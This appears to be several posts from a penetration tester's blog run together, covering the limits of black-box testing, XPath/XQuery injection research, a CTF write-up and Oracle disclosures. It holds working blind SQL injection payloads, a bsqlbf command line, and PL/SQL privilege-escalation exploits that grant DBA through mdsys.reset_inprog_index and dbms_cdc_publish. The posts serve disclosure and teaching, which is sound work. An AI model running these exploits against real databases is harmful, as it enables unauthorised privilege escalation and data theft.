it has been a while since I posted something (nothing unusual), but I really wanted to touch on a sensitive/controversial topic. Firstly, the blog just represent my personal opinion and not that of my employer, so do not draw any conclusions!

So, to start the debate, I have a question:

Do you expect a black-box pentest to find *all* vulnerabilities?
–
I will comment on this with mainly with a black-box app pentest in mind but the same logic apply to other forms of pentest too (in my opinion that is)
—
My thoughts: Any pentest vendor you choose, they would try to find as many vulnerabilities as they possibly can. Most security consultancy companies (at-least all good ones) follow a set methodology, some sort of check-list, a number of in-house /commercial tools and other related material to ensure 2 most important things :

1. consistency
2. coverage

Pentesters are not robots, they are humans and different people have different expertise and different skills and of-course some are more skilled in one area than others. The methodology, in-house/commercial tools, check-lists etc help achieve some level of consistency between various pentesters.

Time factor: Black Box pentests are usually a function of time. That is you only get a few days to assess the security of a particular application. New vulnerabilities/technology makes our job more complicated/interesting. Most tests nowadays are scoped based around clients budget they have for security testing and hence the scope is limited to find as many vulnerabilities as one possibly can in that amount of time. The more time you will allow to find vulnerabilities, the more likely it is that new vulnerabilities will be found.

What is a black box pentest: The nature of black-box pentest is such that it can never guarantee that there are no more security flaws other than those reported in the pentest report. For a more thorough assessment, source code auditing is recommended. Black box pentest is done primarily to provide assurance that if a reputed pentest vendor cannot find anything major wrong with the application’s security than its less likely to suffer from high risk issue(s). I can easily code up applications with critical security flaws which can only be identified when the source code is available and these are nearly impossible to find in a black box pentest.

The length vs the breadth: Should you find a high risk vulnerability, how much time can you spend in exploiting it. Should you exploit it? Of-course, you should safely exploit it to demonstrate the true impact of the vulnerability. Often exploitation of one vulnerability leads to discovery of another vulnerability. E.g. exploiting a vulnerable file upload functionality can give you access to source code and could lead to discovery of a SQL Injection issue. But exactly how much time can you spend exploiting it. Can you afford to miss a Local file include vulnerability because you spent too much time exploiting some other vulnerability? Thus, when a critical issue has been identified I would always recommend that the retest don’t just focus on the 1 issue but at-least some more testing is done to ensure that the test has received a decent coverage.

The out-of-box thinking: Pentest by nature involves creative thinking. The more familiarized the pentesters are with the application, the results will be so much better. Most pentesters would start a pentest by getting familiarized with the application. If I perform a pentest of the same application which i tested six months ago, then I would have already had an understanding of the application’s behavior/security/logic/input validation etc and I can then spend some time to come up with some new innovative hacks. But unfortunately, the way it works, If i do find a clever hack in the recent test than sadly, I will be asked the question “Why the Hell did I miss in the first pentest”…….

Technology and Vulnerability move on: Again, even if you have not changed any line of code in your application it does not mean that the pentest will not find anything new this time. E.g. the world did not know of the padding oracle attack till 2 or so years ago; but because I know it now, I will identify and report it now. It does not mean I missed it then..

Thus there are so many factors which one should consider when requesting a pentest and set expectations accordingly. Also the pentester needs to consider several factors to ensure that they provide the best possible result in the allocated time. Hopefully, this also highlights the need for regular pentest.

Hope my rant dont upset too many people. Would love to hear what the other guys from the industry think about this….

as always it has been a while since I posted something. Some things never change…..

Anyways, I was privileged to speak at yet another Black Hat. This time i was a 2nd speaker and along with Tom Forbes we presented a talk on Hacking XPATH 2.0. One question which everyone wants to know, how many times have we found it in the wild? I have seen may be around 7-8 XPath injections in real life pentests and hence I agree this is not very common. XPath 2.0 was only introduced in 2010 and its still in stage of getting implemented in various technology.

Anyways, so if you happen to find a XPATH Injection, you can dump out the entire XML database from the back-end just as you would dump data in a blind sql injection. Further, if the back-end application supports XPath v2 then you can do lot more like extract data quickly over Out-of-bound channels such as DNS, HTTP etc. You can read not just the current XML document but any xml document on the system. You can do some internal network scanning etc. We then showed XQuery injection. Xquery is a superset of XPATH and supports more features like declaring variable, creating function etc. SO, if you have a XQuery injection, then you can insert what we called as “One Query To Get Them All”. This is basically one hiuge dumper script which recursively dump data to attacker’s HTTP or DNS server and with just one request you can dump any xml file on vulnerable server/app.

The paper and the slides can be found here:
https://www.blackhat.com/html/bh-eu-12/bh-eu-12-archives.html#siddharth
Further, Tom wrote a tool to automate this which can be found here:
https://github.com/orf/xcat

There were some very interesting talks. I liked Shreeraj’s talk on HTML5. One of the main points he made was that as browsers support html5, you need to worry about it even when your website does not run HTML5. I need to validate this statement, but my understanding is that he was saying with HTML5 you can pretty much issue cross domain XML HTTP request.

Of-course, I attended David Litchfield’s talk on Database goodies. He started by explaining the Lateral SQL Injection in oracle. He said that there are SYS owned objects within Oracle database and these can be exploited to do privilege escalation. Its worth noting that you need the CREATE PUBLIC SYNONYM privilege to exploit this and I am not sure how easily you can get this. He then talked about “giving 20/20 vision to a blind sql injection”. He showed a blind sql injection where app was not returning any data from back-end database and the app was passing the input to a vulnerable stored procedure. He then showed that you can declare a variable and store the output of arbitrary SQL into the variable and then print the variable with htp.print. Again, I am not 100% convinced whether *all* blind sqli can be tricked into doing this.

That’s it for now, hope to write another blog some time soon.

In a short summary, If you find a SQL Injection in a Oracle web app, you can issue multiple statements by calling one of the two publicly available functions. So, if the injection is in SELECT statement, you can run INSERT, DELETE etc. This also means that if the back-end database has any vulnerability, you can exploit it from the web and get higher privileges. Once you get higher privileges (typically become DBA) then you can execute OS code.

I have also made a small video which shows exploitation of a SQL Injection in an un-patched Oracle database.

Happy Hacking…

We also released a couple of tools for automating the attacks against LDAP and XPATH. These can be downloaded here:

http://code.google.com/p/ldap-blind-explorer/

http://code.google.com/p/xpath-blind-explorer/

There is a small video showing this in action here

Hope, you have fun exploiting XPATH and LDAP Injections with these automated tools.

The official write up on how the winners solved the problem can be found here. If you are an appsec personnel then you may want to read the rest of the blog after giving CTF another go.

——-
So, i wish i would have revisited the CTF later and have seen the hints! but anyways, I wanted to share an alternate solution to do the challenge. As it happens, the app has 2 sql injections, one in a select query and another one in Insert query. Obviously, the select query is pretty easy to exploit. Unfortunately, i wasnt clever enough to spot the injection in SELECT query and i worked out the hard way to exploit the insert SQL Injection and you actually don’t need the SELECT SQL injection and you can do everything within INSERT…:-)

here is the pseudo code:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,injection\’)

clearly, the magic quote is enabled, but the injection is in integer, so doesn’t make much difference. You can use the True and Error scenario to exploit this:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end))
–
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=2) then 1 else 1*(select table_name from information_schema.tables)end))

Obviously you replace (1=1)/(1=2) with the boolean question you will ask the mysql server:

so a query like

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=5 then 1 else 1*(select table_name from information_schema.tables)end))

will not produce an error but a query like this:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=6 then 1 else 1*(select table_name from information_schema.tables)end))

wil go to the else clause and will generate the following error:

Query failed: Subquery returns more than 1 row

So, now you have a standard true and false scenario and every time you see myql error, you have a false response and when you dont see an error you have a true response.

Using bsqlbf (with one slight modification) you can exploit this injection and obtain the password hash for sales user. The command line options i used were(together with burp running on port 8080):

bsqlbf-2.7pl -url “http://challenge.appsecusa.org/cart.php?action=purchase&qty1=” -blind qty1 -nomatch “failed” -method POST -database 1 -type 2 -cookie “phpsessionid=xxxxxxxxxxxx” -proxy http://127.0.0.1:8080 -sql “select password from users where id=2″

—
Hope it helps..:)

The -nomatch switch is particularly useful which carying out injections in the following scenarios:

Injection in insert statement
True and Error Scenario
Injection in order by etc

Download it here

So, Just a small update on the things i have got lined up for the upcoming Conferences.

Training: Hacking and Securing Oracle database (2 days)
I am quite excited about jointly holding a training session at this years’s Blackhat with Alexander Kornbrust. The training is ideal for Oracle DBA and Developers. It wont be all about getting shells from back-end database, but we will try to address some more real life problems such as how to manage 1000 instances of back-end database, the built-in Oracle features which can be used to harden the database, some common coding flaws etc. More details including registration details can be found here

Workshop: The Art of Exploiting Lesser Known Injection Flaws
At the Blackhat briefings, me and Aleks (Aleksander Gorkowienko) will be conducting a workshop on some “not very commmon” injection flaws. These are LDAP, XPATH, XML external entity etc. We are still working on this and i will post more details later. In a nutshell there will be loads of challenges, CTF, some prizes to be won (may be!) and loads of fun.

Thats all for me, see you in Vegas!

Our analysis shows that this issue cannot be exploited except by a user with DBA privileges.
Based on this analysis, we will not be creating a CPU fix and will close this issue as “Not a Security Bug”.

Interestingly, this procedure is not in SYS or SYSTEM schema but in MDSYS schema. Thus any user with “execute any procedure” privilege will be able to execute/exploit it. Also, MDSYS user does not have the DBA role. So, can you become DBA?

Well, although MDSYS does not have DBA role it has “CREATE ANY TRIGGER” privilege and thus exploiting this will give DBA privileges (indirectly). Here is an example:

———————————————-
lets assume that scott has execute any procedure privilege:

now scott creates a function such as:

create or replace function fn2 return int authid current_user is
pragma autonomous_transaction;
BEGIN
execute immediate 'create or replace trigger "SYSTEM".the_trigger2
before insert on system.OL$ for each row BEGIN SCOTT.Z();
dbms_output.put_line(''aa'');end ;';
return 1;
END;

than scott makes this function executable by public:

grant execute on scott.fn2 to public;

now since scott has execute any procedure privilege, he injects the function created above and make mdsys create a trigger in “system” schema:

begin
mdsys.reset_inprog_index('aa'' and scott.fn2()=1 and ''1''=''1','bbbbb');
end;

Since, public has insert privileges on system.OL$, he does:

insert into system.OL$ (OL_NAME) VALUES ('JOB Done');

this should make the system user execute the function SCOTT.Z() giving scott DBA privileges.
—————————————–
This leaves the question, is getting DBA from “execute any procedure” privilege a big deal? Its not a big deal theoretically, but here is a real life example which i found in quite a few pentests in which i think this vulnerability has been quite handy.

Oracle 10g onwards lock all default accounts and hence the good old pwnage techniques like connecting with system/change_on_install doesnot really work that much anymore. However, one account which I see quite often in un-locked state is OUTLN/OUTLN (I have seen it unlocked even in a few 11g R2). This is not a default behavior but its common to see. These are the accounts which have “EXECUTE ANY PROCEDURE” privilege:

SYS EXECUTE ANY PROCEDURE
DBA EXECUTE ANY PROCEDURE
IMP_FULL_DATABASE EXECUTE ANY PROCEDURE
EXP_FULL_DATABASE EXECUTE ANY PROCEDURE
WMSYS EXECUTE ANY PROCEDURE
FLOWS_030000 EXECUTE ANY PROCEDURE
OUTLN EXECUTE ANY PROCEDURE
WKSYS EXECUTE ANY PROCEDURE
————————————-
Summary: So, if you come across an Oracle database (11g R1, R2) with one of the above mentioned account in un-locked state, you can use this vulnerability to become DBA. In the end, Oracle decided to patch this and this won’t work anymore after the Jan 2011 patch
—————–

This is a classical example which shows that the admin functionality is equally important to assess against security vulnerabilities and not just the publicly available website. Just because the admin functionality is restricted to trusted users, you cannot ignore the vulnerabilities and this is even more critical when using an open source software.

We reported this issue to Magento on September 24th and the response from Magento was: “We have investigated and fixed the issue which will be available in the next weekly release and next stable (1.9.1.0 and 1.4.2.0)”. Magento didn’t bother to respond to any further emails on when this next “weekly” release will be due and no new version/patch was made available until November 8th when a “preview” version was released and the release notes actually mentions addressing this issue. More details about this issue and the actual vulnerability can be found here.

Magento’s updated version and release notes can be read here. While I understand that this release is not a stable version and upgrading to a preview release may not be the best idea and that some may debate whether this is a responsible disclosure and all that. To be honest, the vendor might have taken a better approach and actually bothered to release a security patch. If i know this issue, then its quite likely someone else knows it too and that it might have been exploited in the wild and so on …

Enough of my ranting. If you are using Magento, UPDATE NOW!!

1. ZDI-10-201: Oracle Database Java Stored Procedure Race Condition Remote Code Execution Vulnerability

” This vulnerability allows remote attackers to break out of the Java Sandbox implemented by Oracle’s relational database. Authentication is required in that a user must be able to create a Java stored procedure
to trigger the issue. “.. CVSS score 9

2. SQL Injection in DBMS_CDC_PUBLISH.CREATE_CHANGE_SET reported by Esteben, which could allow any user with EXECUTE_CATALOG_ROLE to become DBA.

the exploit is fairly simple:
——————–
as SCOTT User:

create or replace function pwn return varchar2 authid current_user is
PRAGMA autonomous_transaction;
BEGIN
execute immediate ‘grant dba to scott’;
commit;
return ‘z’;
END;
–
grant execute on SCOTT.pwn to public
–

begin
sys.dbms_cdc_publish.create_change_set(’a',’a',’a”||SCOTT.pwn()||”a’,'Y’,sysdate,
sysdate);
end;
——————
The exploit is already available in metasploit: https://www.metasploit.com/redmine/projects/framework/repository/revisions/10691/entry/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb. Thanks to MC

This affects 10gR1, 10gR2, 11g R1 and 11gR2. I agree with Appsec Inc that the CVSS score should be 7.5 and not 4.9 which oracle has assigned to it.